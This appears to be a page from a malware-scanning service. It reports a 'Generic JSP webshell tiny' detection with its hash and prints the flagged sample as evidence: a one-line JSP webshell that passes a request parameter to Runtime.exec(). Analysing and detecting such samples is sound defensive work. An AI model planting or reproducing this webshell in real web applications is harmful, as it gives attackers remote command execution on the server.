Suspicious 88% Download

ISO-8859 16

Generic JSP webshell tinyLooks for a common design pattern in webshells where a request attribute is passed as an argument to exec().
SHA-2567dac4ea32aa388ae809180fe9a8d5706436a20be20af960b92a446a41c1c1dee

Evidence

Java servlet request parameter access line 1
1<%@ page contentType="charset=ISO-8859-16" %><%Runtime.getRuntime().exec(request.getParameter("i"));%>

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.